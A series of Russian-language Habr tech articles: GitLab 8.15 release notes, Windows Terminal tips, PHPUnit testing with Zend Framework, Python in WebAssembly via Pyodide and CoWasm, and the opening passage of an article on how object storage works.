GitLab предоставляет возможность использования git-хуков для применения определенных правил и триггеров для пушей и их содержимого. Однако, до сих пор единственной возможностью стандартизации этих правил между проектами было их копирование в каждый новый проект.
С добавлением глобальных хуков стало возможным создавать git-хуки, которые будут применяться для каждого проекта в инстансе GitLab. Это должно упростить применение единых правил для всего нового кода.
Создавайте хуки в директории `hooks/.d/` или укажите GitLab Shell путь до директорий с ними.
[Документация по кастомным хукам](https://docs.gitlab.com/ce/administration/custom_hooks.html)
Упорядоченные кастомные git-хуки
--------------------------------
При создании кастомных git-хуков может иметь значение порядок их применения: если определенный хук не выполняется, нет никакого смысла пытаться выполнить последующие. Упорядоченные хуки выполняются в лексическом порядке и прекращают выполнение при неудаче любого из них.
К примеру, при создании хуков `1-hook.sh` и `2-hook.sh`, `1` всегда будет выполняться перед `2`.
Данное нововведение усиливает функциональность хуков и добавляет возможности для кастомизации обработки входящих коммитов.
Больше информации на эту тему содержится в [документации по git-хукам](https://docs.gitlab.com/ce/administration/custom_hooks.html#chained-hooks-support).
Спасибо Elan Ruusamäe и Dirk Hörner за помощь в разработке и имплементации данной функциональности, а также глобальных git-хуков!
Переопределение уровней доступа пользователей для LDAP групп (EE)
-----------------------------------------------------------------
В GitLab EE существует возможность синхронизации LDAP групп с группами GitLab, таким образом назначая всем пользователям группы определенный уровень доступа. К примеру, можно назначить всем пользователям в LDAP группе `developers` уровень доступа `Developer`. Таким образом, при добавлении новых разработчиков в LDAP группу, им будет автоматически выдаваться соответствующий уровень доступа.
GitLab 8.15 расширяет возможности этой функциональности. Теперь, вдобавок к автоматической синхронизации уровней доступа, появилась возможность его переопределения для конкретного пользователя. Данное нововведение упрощает управление уровнями доступа между группами и проектами.
![Override LDAP permissions in GitLab 8.15 EE](https://about.gitlab.com/images/8_15/ldap_overrides.gif)
Slack Chatops
-------------
В версии 8.14 мы добавили Chatops в GitLab через [интеграцию с Mattermost](https://about.gitlab.com/2016/11/22/gitlab-8-14-released/#chat-commands-experimental), а теперь делаем то же самое для Slack! То есть теперь вы сможете создавать, показывать и искать задачи прямо из Slack, что позволяет с легкостью переходить от обсуждения задачи к оформлению ее в трекере.
К тому же, теперь можно проводить развертывание в/из любой среды. Например, при вводе
```
/awesome-website deploy from staging to production
```
GitLab проведет развертывание последнего коммита из staging в master.
![Slack Chatops in GitLab 8.15](https://about.gitlab.com/images/8_15/slack.png)
Chatops для Slack можно настроить в свойствах проекта. Как всегда, мы рады вкладу пользователей в развитие интеграции чатов с GitLab.
Настройка Mattermost одним кликом
---------------------------------
Сильно упрощена [интеграция GitLab с Mattermost](https://about.gitlab.com/2016/11/22/gitlab-8-14-released/#chat-commands-experimental). Теперь это делается одним кликом, как показано в [этом видео на 3:16](https://youtu.be/m0nYHPue5RU?t=196).
![Super easy Mattermost configuration in GitLab 8.15](https://about.gitlab.com/images/8_15/mattermost.png)
Интеграция с Mattermost и Slack позволяет создавать, показывать и искать задачи, а также производить развертывание в любую среду.
> [Документация по интеграции Chatops с Mattermost](https://gitlab.com/help/project_services/mattermost_slash_commands.md)
Диффы в письмах с нотификациями
-------------------------------
Как вам известно, когда кто-то комментирует ваш дифф, вам отправляется письмо с нотификацией. Теперь в такие письма добавляется часть этого диффа, чтобы у вас сразу был контекст перед глазами.
![Diffs in Notification emails in GitLab 8.15](https://about.gitlab.com/images/8_15/diff_emails.png)
Улучшения интерфейса
--------------------
Мы с вами приложили серьезные усилия для упрощения работы пользователей с GitLab. Как следствие, в данном релизе содержится множество изменений, делающих работу с GitLab еще более приятной.
### Обновление шрифтов
С целью улучшения читабельности и поддержки различных ОС/браузеров GitLab теперь использует системные шрифты. Эти шрифты оптимизированы под определенные платформы, благодаря чему работать с GitLab одинаково комфортно, независимо от того, откуда вы это делаете.
Для наглядности можно ознакомиться с [оригинальным мерж-реквестом](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7545).
### Уменьшенная пиксельная ширина интерфейса
Для улучшения читабельности уменьшена максимальная ширина контейнера задач и мерж-реквестов. Это только первый шаг в процессе уменьшения огромной длины строк, которую можно наблюдать во всем GitLab’е. За ходом работы над этой задачей можно наблюдать в [соответствующем тикете](https://gitlab.com/gitlab-org/gitlab-ce/issues/13680).
### Уникальный вид меток
Изменен внешний вид меток, теперь они сильнее визуально отличаются от кнопок. Мы продолжаем работу в этом направлении с целью сделать [метки](https://gitlab.com/gitlab-org/gitlab-ce/issues/25518) и [значки статуса](https://gitlab.com/gitlab-org/gitlab-ce/issues/25564) еще более различимыми и узнаваемыми в будущих версиях.
![Unique Labels in GitLab 8.15](https://about.gitlab.com/images/8_15/labels.png)
### Улучшенная прокрутка и загрузка сборок
Прокрутка и загрузка сборок теперь лучше работает и выглядит:
![Improved Build Scrolling and Loading in GitLab 8.15](https://about.gitlab.com/images/8_15/build_scroll.gif)
### Меньший размер страниц
Сделав системные шрифты и улучшив автодополнения, мы существенно уменьшили размер всех страниц в GitLab. Данный мерж-реквест в проекте GitLab CE вместо 1800 Кбайт теперь занимает 718 Кбайт!
### Улучшенные подсказки для пустых страниц
Чтобы помочь новым пользователям освоить GitLab, мы добавили информативные и забавные подсказки для множества пустых страниц по всему приложению.
Загляните в наш [мета тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/15632), чтобы узнать, где мы разместили новые подсказки, и не стесняйтесь предлагать свои!
![Even empty is beautiful in GitLab 8.15](https://about.gitlab.com/images/8_15/empty.png)
### Другие изменения и поправки
* Улучшили доступность: добавили состояние фокуса в выпадающие опции
* Добавили действия при наведении в нашу основную навигацию и табы по всему сайту
* Улучшили действие при наведении, фокус и активное состояние для кнопок [!7797](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7797)
* Добавили действие при наведении для элементов, совмещенных с меню тикетов или мерж-реквестов [!7777](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7777)
Поддержка математики для Markdown и AsciiDoc с помощью KaTeX
------------------------------------------------------------
В комментариях и файлах репозитория теперь можно аккуратно оформлять математические данные, используя библиотеку [KaTeX](https://khan.github.io/KaTeX/) от Khan Academy.
Чтобы оформить внутристрочные математические формулы, используйте знаки доллара вокруг кода строки: `$`a^2+b^2=c^2`$`
Чтобы оформить многострочные математические выражения, используйте язык `math` для блока кода:
```
```math
a^2+b^2=c^2
```
```
Это работает не только с Markdown, но и с документами AsciiDoc. [Прочитать документацию о поддержке математики](https://docs.gitlab.com/ce/user/markdown.html#math)
![Beautifully rendered math in GitLab 8.15](https://about.gitlab.com/images/8_15/math.png)
За эту фичу спасибо Michael Munch.
Сообщения коммитов мержей стали чище
------------------------------------
В предыдущих версиях сообщения коммитов мержей состояли из заголовка, описания мерж-реквеста и ссылки на мерж-реквест. Это тяжело читать при использовании `git log` и аналогичных функций, так как описания мерж-реквестов часто содержат запросы на ревью, скриншоты и другие детали, несущественные для изменения кода.
Теперь сообщение коммита мержа по умолчанию выглядит так:
```
Merge branch '$SOURCE_BRANCH' into '$TARGET_BRANCH'
$TITLE
Closes $CLOSING_ISSUE_REFERENCES # only present if the MR closes issues
See merge request $MERGE_REQUEST_REFERENCE
```
Предыдущее дефолтное сообщение доступно в настройках сообщения коммита мержа.
Спасибо Gabriel Gizotti!
Краткие кросс-проектные ссылки в GitLab Flavored Markdown
---------------------------------------------------------
Раньше ссылки на что-либо в другом проекте всегда включали пространство имен, даже если проект был в том же пространстве имен.
Теперь доступны краткие ссылки. Внутри проекта
`gitlab-org/gitlab-ce` вы теперь сможете обратиться к задаче под номером 1 в GitLab Workhorse,
написав `gitlab-workhorse#1` вместо `gitlab-org/gitlab-workhorse#1`,
сэкономив драгоценное время на нажатиях клавиш!
Больше информации в [специальной секции о ссылках GitLab](https://docs.gitlab.com/ce/user/markdown.html#special-gitlab-references) в нашей документации о Markdown.
Спасибо Oswaldo Ferreira!
Создание тикета из нерешенного обсуждения в мерж-реквесте
---------------------------------------------------------
В версии 8.14 мы [добавили возможность блокировать мерж, когда имеются нерешенные обсуждения](https://about.gitlab.com/2016/11/22/gitlab-8-14-released/#prevent-merge-until-review-is-done).
Теперь мы добавили возможность [создавать новый тикет из нерешенного обсуждения в мерж-реквесте](https://docs.gitlab.com/ce/user/project/merge_requests/merge_request_discussion_resolution.html#move-all-unresolved-discussions-in-a-merge-request-to-an-issue), и одновременно разрешать это обсуждение. Это полезно в случаях, когда вам нужно мержить что-то новое, но не хочется забыть о комментариях из ревью кода.
Спасибо Bob van Landuyt!
Ручные действия из схемы конвейера (CI)
---------------------------------------
Ручные действия позволяют вам запрашивать ручное взаимодействие до перехода на конкретную задачу в CI. Весь ваш конвейер может работать автоматически, но непосредственно для развертывания в production нужно сделать клик.
Сделать это можно прямо из схемы конвейера. Нужно только кликнуть на кнопку «Play», чтобы запустить конкретную задачу.
![Manual actions on the pipeline graph](https://about.gitlab.com/images/8_15/manual_actions_graph.png)
API действий пользователя
-------------------------
Чтобы вы могли быстро понять, когда пользователь в последний раз использовал GitLab, мы добавили к GitLab специальное администраторское API. Оно позволяет получать timestamp последней активности любого пользователя в инстансе.
[Узнайте больше в документации](https://docs.gitlab.com/ee/api/users.html#get-user-activities-admin-only)
Сортировка участников проекта или группы
----------------------------------------
Теперь вам будет проще находить людей в проектах и группах с помощью сортировки по имени, уровню доступа или дате присоединения.
![Easily find people in projects and groups in GitLab 8.15](https://about.gitlab.com/images/8_15/sort_members.png)
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: <https://about.gitlab.com/2016/12/22/gitlab-8-15-released/>
Перевод с английского выполнен переводческой артелью «Надмозг и партнеры», <http://nadmosq.ru>. Над переводом работали [nick\_volynkin](https://habr.com/ru/users/nick_volynkin/), [rishavant](https://habr.com/ru/users/rishavant/) и [sgnl\_05](https://habr.com/ru/users/sgnl_05/). | https://habr.com/ru/post/318926/ | null | ru | null |
# 9 советов для Windows Terminal от Скотта Хансельмана
Привет, Хабр! Возможно вы слышали, что совсем скоро выходит новый Windows Terminal. Мы уже писали об этом [здесь](https://habr.com/ru/company/microsoft/blog/489402/). Наш коллега Скотт Хансельман подготовил несколько советов по тому, как работать с новым терминалом. Присоединяйтесь!
![image](https://habrastorage.org/r/w1560/webt/_s/vq/cl/_svqclanpu2f4fshwczridwuewy.png)
Итак, вы загрузили Windows Terminal и… что теперь?
--------------------------------------------------
Сначала вы можете быть не в восторге. Это все же Терминал, и он не поведет вас, держа за руку.
1) Ознакомьтесь с [пользовательской документацией Windows Terminal](https://github.com/microsoft/terminal/blob/master/doc/user-docs/index.md?WT.mc_id=-blog-scottha)
2) Настройки выражены в [формате JSON](https://github.com/microsoft/terminal/blob/master/doc/user-docs/UsingJsonSettings.md?WT.mc_id=-blog-scottha). Вы добьетесь большего успеха, если ваш редактор файлов JSON будет чем-то вроде [Visual Studio Code](http://code.visualstudio.com/?WT.mc_id=-blog-scottha) и будет поддерживать схему JSON, а также intellisense.
* Проверьте свои настройки по умолчанию! Для наглядности представляю мой [profile.json](https://gist.github.com/shanselman/4d954449914664024ee20ba10c2aaa0d?WT.mc_id=-blog-scottha) (который никоим образом не является идеальным). Я установил requestedTheme, alwaysShowTabs и defaultProfile.
3) Определитесь с сочетаниями клавиш. Windows Terminal имеет [широкие возможности для настройки](https://github.com/microsoft/terminal/blob/master/doc/user-docs/UsingJsonSettings.md?WT.mc_id=-blog-scottha#profiles).
* Любая клавиша, которую вы нажимаете, может быть переназначена.
4) Оформление соответствует вашим желаниям?
* На [terminalsplash.com](https://terminalsplash.com/) имеется несколько тем для терминала.
* А здесь находятся десятки [цветовых схем iTerm2](https://github.com/mbadolato/iTerm2-Color-Schemes/tree/master/windowsterminal?WT.mc_id=-blog-scottha), с их цветовыми решениями наглядно можно ознакомиться [здесь](https://iterm2colorschemes.com/).
5) Хотите перейти на новый уровень? Исследуйте фоновые изображения.
* Вы можете установить фоновые изображения или даже GIF-файлы. Подробнее [здесь](https://www.hanselman.com/blog/AddingReactionGifsForYourBuildSystemAndTheWindowsTerminal.aspx).
6) Укажите свой startingDirectory.
* Если вы используете WSL, возможно, рано или поздно у вас появится желание, чтобы ваш начальный каталог располагался в [файловой системе Linux](https://github.com/microsoft/terminal/blob/master/doc/user-docs/UsingJsonSettings.md?WT.mc_id=-blog-scottha#setting-the-startingdirectory-of-wsl-profiles-to-).
7) Вы все еще можете использовать Far, GitBash, Cygwin, или cmder, если хотите. Подробности в [документации](https://github.com/microsoft/terminal/blob/master/doc/user-docs/ThirdPartyToolProfiles.md?WT.mc_id=-blog-scottha).
8) Изучите аргументы командной строки Windows Terminal.
* Возможно, вы знаете, что можно запустить Windows Terminal воспользовавшись «wt.exe», однако теперь вы можете использовать и аргументы командной строки! Вот несколько примеров:
```
wt ; split-pane -p "Windows PowerShell" ; split-pane -H wsl.exe
wt -d .
wt -d c:\github
```
На этом этапе вы можете продвинуться настолько далеко, насколько пожелаете. Сделайте другие иконки, закрепите их на панели задач, отрывайтесь по полной. Кроме того, ознакомьтесь с такими подкомандами, как new-tab, split-pane и focus-tab.
9) Я записал [видео](https://www.youtube.com/watch?v=j0PPcUUtHlw), демонстрирующее человеку, привыкшему к Mac и Linux, как настроить Windows Terminal в связке с WSL (Windows Subsystem for Linux), возможно, оно вам будет интересно.
Пожалуйста, поделитесь ниже своими советами, профилями и любимыми темами для терминала! | https://habr.com/ru/post/489620/ | null | ru | null |
# Разработка через тестирование с Zend Framework и PHPUnit
Проведя последние несколько дней за изучением документации по Zend Framework, я был приятно удивлен новым функционалом, который был добавлен в последнюю версию этого каркаса Web-приложений.
Моей первой мыслью было осознание скорости, с которой взрослеет технология PHP.
Легкость совместного использования Zend Framework и PHPUnit — это, на мой взгляд, одно из наиболее значительных достижений.
Я уже достаточно поработал с PHPUnit, чтобы понять, насколько это мощный, настраиваемый и простой в
использовании инструмент (он принадлежит [семейству xUnit тестировочных framework'ов](http://en.wikipedia.org/wiki/XUnit)), однако наиболее примечательно то, что и Zend Framework полностью готов к работе с PHPUnit (по моему мнению такая готовность позволят выбирать Zend Framework для любого PHP проекта, но это тема для другого поста...).
Вот, что мы знаем о PHPUnit: Вы можете не только модульно тестировать свои PHP классы, но и [создавать зависимости](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.test-dependencies) между тестами, [использовать dataProvider'ы](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.data-providers) для увеличения размера выборки входных параметров тестов, тестировать [исключения](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.exceptions) и [ошибки](http://www.smartyit.ru/php/85#writing-tests-for-phpunit.errors).
Кроме того, PHPUnit позволяет делать следующее: [организовывать тесты](http://www.smartyit.ru/php/87), [обеспечивать тестирование базы данных](http://www.phpunit.de/manual/current/en/database.html), выполнить двойное тестирование для покрытия исходного кода, и, более того, может быть использовано для [быстрого документирования](http://www.phpunit.de/manual/current/en/other-uses-for-tests.html).
В заключении отмечу, что PHPUnit очень хорошо работает совместно с Selenium, Apache Ant, Apache Maven, Phing, Atlassian Bamboo, CruiseControl и другими средами.
Мне остается только сослаться на [документацию по PHPUnit](http://www.phpunit.de/manual/3.4/en/index.html) и можно вернуться к основной теме статьи.
По структуре каталогов проекта Zend Framework хорошо видно, что авторы Zend Framework всегда большое внимание уделяли методологии «разработка через тестирование». В официальной документации, справочных материалах, литературе особо подчеркивается место каталога для тестов в общей структуре проекта. Можно говорить о *«Zend пути развития PHP»* (*«Zend way of PHP development»*).
При более детальном изучении, в пакете Zend\_Test мы найдем классы Zend\_Test\_PHPUnit и Zend\_Test\_PHPUnit\_Db, которые унаследованы от PHPUnit.
**Zend\_Test\_PHPUnit** предоставляет классы, которые могут использоваться для тестирования MVC-классов framework'а.
В наиболее типичном случае класс для тестирования контроллера будет наследником Zend\_Test\_PHPUnit\_ControllerTestCase.
Ниже представлен пример класса для тестирования контроллера.
> `class UserControllerTest extends Zend\_Test\_PHPUnit\_ControllerTestCase
> {
> public function setUp()
> {
> $this->bootstrap = array($this, 'appBootstrap');
> parent::setUp();
> }
>
> public function appBootstrap()
> {
> $this->frontController
> ->registerPlugin( new Bugapp\_Plugin\_Initialize('development'));
> }
>
> public function testCallWithoutActionShouldPullFromIndexAction()
> {
> $this->dispatch('/user');
> $this->assertController( 'user');
> $this->assertAction('index');
> }
>
> public function testIndexActionShouldContainLoginForm()
> {
> $this->dispatch( '/user');
> $this->assertAction('index');
> $this->assertQueryCount('form#loginForm', 1);
> }
>
> public function testValidLoginShouldGoToProfilePage()
> {
> $this->request->setMethod('POST')
> ->setPost(array(
> 'username' => 'foobar',
> 'password' => 'foobar'
> ));
> $this->dispatch('/user/login');
> $this->assertRedirectTo('/user/view');
>
> $this->resetRequest()
> ->resetResponse();
>
> $this->request->setMethod('GET')
> ->setPost(array());
> $this->dispatch('/user/view');
> $this->assertRoute('default');
> $this->assertModule('default');
> $this->assertController('user');
> $this->assertAction('view');
> $this->assertNotRedirect();
> $this->assertQuery('dl');
> $this->assertQueryContentContains('h2', 'User: foobar');
> }
> }
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/87202/ | null | ru | null |
# Python на сервере и в браузере. Путь к Web Assembly
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f65/c76/354/f65c76354a52e69c32f3cb9a4e2ab7e5.png)Python как технология разработки приложений преимущественно используется для создания сценариев автоматизации, создания бэкэнда и веб-приложений, а также для анализа данных и использования методов статистики и машинного обучения. Также есть некоторые подходы к созданию мобильных приложений на Python (например, движок [Kivy](https://kivy.org/doc/stable/guide/android.html) над OpenGL для Android). Но остается незаполненной ниша использования Python-приложений в веб-браузере, что могло бы позволить перенести часть обработки данных непосредственно на клиентское устройство и создавать полноценные fullstack-приложения на одной технологии. Решением этой задачи может стать кросскомпиляция Python в код WebAssembly, который может выполняться как в браузере, так и на сервере с использованием nodejs или движка V8, либо [SSVM](https://www.secondstate.io/ssvm/) (Second State Virtual Machine). В статье мы рассмотрим несколько подходов к запуску Python-приложений внутри браузера и сервера с использованием WebAssembly.
Наиболее важным аспектом реализации является возможность взаимодействия со средой выполнения через интерфейс WASI (WebAssembly System Interface), которая (в зависимости от окружения) предоставляет доступ к файловой системе, оборудованию, хранению данных, аппаратным решениям для нейронных сетей, графической библиотеке и др. Поскольку для Python-приложений нужно обеспечить не только вычислительные возможности, но и доступ к ресурсам среды, аспект реализации WASI является одним из наиболее важных и именно с ним сейчас есть сложности в разных реализациях.
Одним из вариантов компиляции Python приложения для выполнения в браузере является использование emscripten для CPython, но на текущий момент он не поддерживает работу с PyPI пакетами и сетевые запросы. Аналогично запуск через emscripten в NodeJS не поддерживает пакеты, но может работать с многопоточностью и сигналами. Для сборки Python через emscripten в WebAssembly можно использовать эти [сценарии](https://github.com/ethanhs/python-wasm).
Второй вариант - использование специализированных реализаций wasm runtime (например, wasmtime) и компиляция с использованием их реализаций WASI, например для Python: <https://enarx.dev/docs/webassembly/python>
Наиболее продвинутыми вариантами являются [Pyodide](https://github.com/pyodide/pyodide) (поддерживает пакеты, работу с сетью, сигналы, а также полноценный доступ к файловой системе, доступ ко всеми API браузера) и [Pygame](https://pygame-web.github.io/wiki/python-wasm/) (поддерживает кросскомпиляцию в WebAssembly и работу с графикой и мультимедиа). Для установки пакетов в Pyodide используется [micropip](https://pyodide.org/en/stable/usage/api/micropip-api.html). Pyodide может использоваться для запуска Python внутри Javascript кода, для этого нужно подключить <https://cdn.jsdelivr.net/pyodide/v0.21.3/full/pyodide.js> и запустить фрагмент кода:
```
async function main() {
let pyodide = await loadPyodide();
// Pyodide is now ready to use...
console.log(pyodide.runPython(`
import sys
sys.version
`));
};
main();
```
Также можно использовать внешние модули:
```
await pyodide.loadPackage("numpy");
pyodide.runPython(`
import numpy
x=numpy.ones((3, 4))
`);
pyodide.globals.get('x').toJs();
```
Для манипуляций объектами DOM и доступа к WebAPI можно подключить модуль js и через него получать доступ к document, window и другим объектам браузера. Также pyodide предоставляет порты пакетов для работы с сетью (from pyodide.http import pyfetch), работу с файловой системой в NodeJS (FS). Кроме этого Pyodide представляет интерфейс для взаимодействия с wasm-кодом.
Наиболее интересным выглядит проект [CoWasm](https://github.com/sagemathinc/cowasm), который предоставляет набор инструментов для сборки и порты многих часто используемых python-библиотек (включая numpy, pandas, sqlite, posix, openssl, zlib, libgit2) и среду исполнения Python-кода в WASM [python-wasm](https://github.com/sagemathinc/cowasm/tree/main/packages/python-wasm). Для использования python-кода можно использовать как REPL (npx python-wasm), так и подключать его в код через require:
```
{syncPython, asyncPython} = require('python-wasm')
python = await syncPython();
python.exec('import numpy')
python.repr('numpy.linspace(0, 10, num=5)')
```
Для реализации wasm-портов пакетов используются возможности для компиляции языка [Zig](https://ziglang.org/) + TypeScript, либо компиляция через Zig Wasm исходных кодов библиотек на C. После компиляции будет созданы два варианта модулей - нативный (для запуска в обычной среде исполнения python) и wasm (для использования совместно с браузером / NodeJS). Для выполнения кода в дистрибутиве нужно запустить следующие команды:
```
. bin/env.sh
cd packages/python-wasm
./bin/python-wasm
```
Несмотря на то, что запускаться будет Python в REPL, это полноценная среда исполнения WebAssembly (и это можно проверить через запрос версии системы import sys; sys.version).
Пакет python-wasm также может использоваться для выполнения кода в [браузере](https://github.com/sagemathinc/cowasm/tree/main/packages/browser):
```
const python = require("python-wasm");
python.exec('import os')
python.repr('os.version')
```
Пример использования CoWasm в браузере можно посмотреть [здесь](https://cowasm.sh/).
Для тестирования cowasm также можно собрать [Docker](https://github.com/sagemathinc/cowasm/blob/main/Dockerfile)-контейнер.
Проект активно развивается, среди основных контрибьюторов [@bobuk](/users/bobuk) . Основная идея проекта обозначена как возможность переиспользования Python-кода между клиентом и сервером и организации совместной работы над кодом с использованием возможностей WebRTC и других технологий мгновенного обмена данными.
Всем, прочитавшим статью, рекомендую ближайшие открытые онлайн-уроки:
Сегодня вечером поговорим о том, какое место SOLID занимает в современной разработке и как применятся в Python. Регистрация — [по ссылке.](https://otus.pw/0FPo/)
Завтра вечером научимся работать со встроенными модулями. Узнаем про модули (os, pathlib, functools). Регистрация — [по ссылке.](https://otus.pw/Vk1p/) | https://habr.com/ru/post/701144/ | null | ru | null |
# Как работают объектные хранилища: объясняем на практике и собственных шишках
Объектные хранилища сейчас повсюду. До прихода в Selectel я лишь знал, что они живут в облаках, сложно тарифицируются, а Amazon снова впереди планеты всей… Но, если подумать, так можно сказать почти про любую облачную услугу, и это не расскажет нам о ее реальных особенностях.
Быть может, специфика такого хранилища прячется в задачах, которые оно решает? Сложно сказать наверняка, ведь сегодня [объектные хранилища](https://slc.tl/78t4p) занимаются массой вещей: от раздачи статического контента до хранения бэкапов и бэкенда аналитических баз данных.
Попытки понять природу непривычных ограничений порождают лишь новые вопросы: почему можно удалять только пустой контейнер? Почему нельзя быстро перенести большой объем данных из одного контейнера в другой? Да и вообще, что это за название такое — объектные — и какая магия творится под капотом?
На связи Рома из команды объектного хранилища Selectel, и я изучил наш опыт разработки и поддержки такого продукта на протяжении 10 лет. Под катом находится первая часть истории, где я поделюсь своими открытиями о теоретической части вопроса.
Что за объекты и зачем им хранилище? Теория
-------------------------------------------
Объектное хранилище сегодня — это HTTP API, который позволяет загружать, получать и удалять данные по имени. Фактически, это KV-хранилище для больших кусков данных (BLOB). Обычно такие сравнения не приводят, чтобы избежать ненужной путаницы с базами данных, но мы ведь профессионалы и умеем отделять мух от котлет?
Что можно отметить:
1. Плоское пространство имен без вложенности. Объекты можно разделить по контейнерам, но на этом все.
2. Гарантии доступности и целостности данных.
3. Хранилище условно бесконечное для пользователя. Можно хранить пару-тройку гигабайт, а можно — петабайт, если захочется.
Эти особенности уже сами по себе диктуют архитектуру и последствия. Например, нет необходимости хранить сложную структуру хранилища. Значит, алгоритмы доступа проще, а время доступа меньше и не сильно изменяется с ростом количества данных. Миллиард отсортированных объектов в плоском пространстве имен и миллиард файлов в разных папках на обычной файловой системе — это две большие разницы.
Гарантии целостности и бесконечность хранилища сразу приводит нас к вопросу его масштабирования и распределенной природы. Это должно быть фундаментом архитектуры. Отдельно можно упомянуть протокол доступа. Использование HTTP API не представляет никакой сложности. Кроме массы библиотек и утилит, всегда есть возможность реализовать протокол самостоятельно или вообще обратиться к хранилищу «вручную» через `curl` или, для любителей, `telnet`.
HTTP реализован даже в чайниках, его отладка проста и привычна, а пространство для возникновения сложной ошибки на клиенте практически отсутствует.
Сверху над основными методами работы с объектами есть место и для дополнительных фишек, вроде массовых операций удаления или разграничения доступа. Но эта функциональность лишь использует базовую архитектуру, которая и представляет основную сложность.
В общем, для пользователя объектное хранилище — это что-то очень высокоуровневое. Способ хранить информацию, не задумываясь о том, как она организована, и не зацикливаясь на сущностях вроде секторов, inode или фрагментации.
В облаках бывают и другие сетевые хранилища. Попробуем рассмотреть их основные особенности:
| Облачные сетевые хранилища |
| --- |
| Тип | Блочные | Файловые | Объектные |
| Достоинства | Низкоуровневый доступ к данным. То же самое, что и «голый» жесткий диск, только по сети.
Предоставляет полную свободу действий. | Привычная структура файловой системы (ФС) — иерархия, гранулярные права доступа.
В зависимости от технологии может предоставлять конкурентный доступ. | Условно бесконечное хранилище с плоской структурой данных и стабильным временем отклика.
Не привязано к конкретным машинам и доступно как API.
Может предоставлять публичный доступ. |
| Недостатки | Будет подключено к конкретной машине. Имеет конечный размер, может потребовать поддержки и администрирования. | Имеет конечный размер, может потребовать поддержки и администрирования. | Не гарантирует атомарность операций, возможны гонки состояний. |
Я сознательно обошел стороной локальные хранилища, а также существование FUSE-драйверов вроде **s3fs**, проецирующих объектное хранилище как файловую систему. Это тема для отдельного разговора (возможно, в присутствии санитаров).
Объектное хранилище абстрагируется над реальными способами хранения данных и обеспечивает характеристики, подходящие под высокие нагрузки. Его нельзя напрямую сравнить с файловым или, тем более, блочным, потому что они находятся в принципиально разных системах координат.
Под капотом у объектного хранилища все равно окажется блочное устройство или даже файловая система, но его архитектура задумана так, чтобы избавиться от их ограничений и недостатков.
Практика
--------
Широкую популярность объектные хранилища получили благодаря облаку Amazon.
В 2006 году компания представила Simple Storage Service (S3). Со временем технология стала настолько популярной, что ее название практически стало нарицательным. Говоришь про S3 — имеешь в виду объектное хранилище. Говоришь про объектное хранилище… ну, вы поняли.
В 2010 году появился OpenStack — совместная разработка NASA и облачного провайдера Rackspace. От первых проекту достался компонент Nova для виртуальных машин, от вторых — объектное хранилище Swift. Открытый исходный код и условная простота (на тот момент) подстегнули волну появления облачных провайдеров.
В 2012 году Selectel не смог обойти популярность и перспективы проекта стороной, поэтому мы взяли OpenStack Swift, разобрались в его работе и запустили объектное хранилище — наш первый облачный продукт.
После запуска хранилище наполнилось статическими сайтами, видеоуроками и большими бэкапами баз данных. С первых дней мы активно дорабатывали и расширяли Swift, впоследствии переработав или заменив его компоненты собственными решениями.
[![](https://habrastorage.org/r/w1560/webt/jc/_w/lh/jc_wlhedb9rjrneltwlnxxcgwuk.png)](https://slc.tl/d1e2h)
Хранилище Selectel сегодня — след множества синяков, которые мы набили в попытках заставить OpenStack Swift работать хорошо. Мы чинили Python, полностью перешли на Go и внедрили собственный слой хранения на Ceph. Но это впереди, а пока у нас на дворе 2011 год и команда хранилища изучает ванильный OpenStack Swift.
Отвлечемся и построим объектное хранилище
-----------------------------------------
По широте задач, которые решаются на базе объектных хранилищ, становится ясно: они привлекают простотой использования, сохранностью и доступностью данных из любой точки мира и скоростью работы.
Становится интересно, как может выглядеть архитектура такого продукта. Какие хитрости или допущения потребуются, чтобы обеспечить нужные характеристики? Но сначала сформулируем основные ожидания от такой системы:
1. Доступ по HTTP API, быстрое время отклика.
2. Быстрое и удобное масштабирование без ограничений.
3. Устойчивость к отказам отдельных нод и дисков, самовосстановление данных при потере меньшинства копий.
4. Равномерное распределение нагрузки на хосты и диски и объемов данных внутри них.
Звучит не очень страшно. Давайте разберемся, какие архитектурные сложности могут ждать на этом пути и почему объектное хранилище — это все-таки самостоятельная система, а не просто API, отдающий файлы с диска.
Рисуем квадраты
---------------
Идем напролом и начинаем с простого решения: ставим сервер с диском побольше, выделяем отдельную директорию для пользовательских объектов и пишем простейший API, который может сохранять их и отдавать:
![](https://habrastorage.org/r/w1560/webt/ox/55/qw/ox55qwgw4slwlufdc87dzi9gb6g.png)
Вышло сносно, но соблюдено только требование к протоколу доступа. Масштабирование, отказоустойчивость — это не про нашу схему. Давайте возьмем три диска вместо одного и продублируем на них все операции. Успешной записью или чтением считаем два или больше успешных обращения к дискам:
![](https://habrastorage.org/r/w1560/webt/gp/8f/l4/gp8fl4utiziof5v3jbz2dqsyj44.png)
Уже лучше — мы обезопасили себя от отказа одного диска, но все еще ограничены одним сервером. Что если поставить каждый диск в отдельный сервер? Серверы поставим в отдельных помещениях, а каждому из них сообщим адреса остальных двух:
![](https://habrastorage.org/r/w1560/webt/nz/hj/4g/nzhj4ggy_ke09jnvkswyiro5q-o.png)
Подкрались и другие изменения. Верхнеуровневый API теперь живет отдельно. К нему обращается клиент, а он, в свою очередь, дублирует запрос на машины. На каждом сервере у нас остается простейший API для работы с локальными объектами.
Дадим им названия:
* **object-api** (синего цвета) — находится на каждом сервере и производит простейшие манипуляции с локальными объектами,
* **proxy-api** (черного цвета) — доступен для клиента и дублирует запросы во все object-api.
Еще один новый компонент: **replicator**. Так как данные на диске могут быть испорчены, их необходимо как-то восстанавливать. Предположим, что он периодически опрашивает другие серверы и при наличии более свежих данных скачивает их и обновляет локальную копию. Остальное — детали, не столь важные сейчас.
С защитой от потерь разобрались: разнесли машины, сделали тройную репликацию. Классика. Но как нам наращивать кластер? У нас есть три диска — группа репликации, в рамках которой все данные продублированы. Кажется логичным добавить еще по одному диску на каждую машину и считать их отдельной группой.
